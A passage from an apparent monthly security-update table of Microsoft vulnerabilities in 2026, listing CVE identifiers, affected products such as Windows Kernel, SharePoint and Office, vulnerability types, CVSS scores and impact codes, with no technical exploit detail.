Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n 